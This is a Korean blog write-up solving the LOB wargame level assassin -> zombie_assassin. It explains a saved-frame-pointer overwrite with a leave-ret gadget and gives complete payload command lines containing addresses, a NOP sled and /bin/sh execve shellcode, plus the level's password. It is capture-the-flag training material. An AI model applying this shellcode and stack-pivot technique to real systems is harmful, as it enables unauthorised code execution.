System&Write up/LOB

LOB assassin -> zombie_assassin Write up

Jubil 2017. 11. 12. 23:00
반응형

LOB assassin -> zombie_assassin

 

ID : assassin

Passwd : pushing me away

 


접속해서 ls 명령어로 파일을 확인합니다

 


code를 보면 이렇습니다. 전 단계 giant처럼 strcpy()가 아닌 strncpy()를 사용하고 있습니다.

 

FPO 문제와 비슷한데요, 오히려 1byte만 조작할 수 있었을 때보다 지금이 더 쉬운 것 같습니다.

FPO(LOB golem -> darkknight) -> http://jaemin8852.tistory.com/48

 

메모리 구조는 이렇습니다. | buffer(40) | sfp(4) | ret(4) |

 

여기서 sfp를 변조하고 Return Addressleave - ret으로 변조한다면,

Return Address는 결국 sfp+4의 주소에 있는 값로 변조된다는 것을 알면 됩니다.

 

왜냐하면 sfp를 변조하고 ret명령에서 leave로 가면 espebp로 이동시키고 pop을 하면 esp는 변조한 sfp + 4에 위치하게 되기 때문입니다. 그 후 ret을 실행하면 sfp + 4의 값인 Return Address로 이동하게 되겠죠?

 

payload는 이렇게 구상하겠습니다.

payload : ./zombie_assassin `python –c ‘print 뒤의 NOP 주소 + “A”*36 + buffer – 4의 주소 + leave – ret 명령의 주소 + “\x90”*13000 + 셸코드’`

 

일단 leave – ret 명령의 주소를 알아내겠습니다. 파일을 tmp에 옮기고 gdb로 열어보겠습니다.


 

main 함수의 에필로그 부분에서 찾을 수 있었습니다.

 

NOP의 주소를 알아내기 위해 세그폴트를 내보겠습니다.

payload : ./zombie_assassin `python –c ‘print “A”*40 + “BBBB” + “\xdf\x84\x04\x08” + “\x90”*13000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’`

 


core 파일을 gdb로 확인합니다.

 


여기에 strncpy() 된 문자열이 있고, 0xbfffc77cbuffer – 4가 되겠네요. 더 내려가면


 

argv[1]이 위치하고 있는 모습입니다.

buffer0xbfffc9fc를 넣고, sfpbuffer – 4의 주소인 0xbfffc77c로 변조하겠습니다.

 

payload : ./zombie_assassin `python –c ‘print “\xfc\xc9\xff\xbf" + “A”*36 + “\x7c\xc7\xff\xbf" + “\xdf\x84\x04\x08” + “\x90”*13000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’`

 

공격하겠습니다.

 


exploit!

감사합니다.

반응형

'System&Write up > LOB' 카테고리의 다른 글

LOB succubus -> nightmare Write up  (0) 2017.11.14
LOB zombie_assassin -> succubus Write up  (2) 2017.11.13
LOB giant -> assassin Write up  (0) 2017.11.09
LOB bugbear -> giant Write up  (0) 2017.11.08
LOB darkknight -> bugbear Write up  (0) 2017.10.26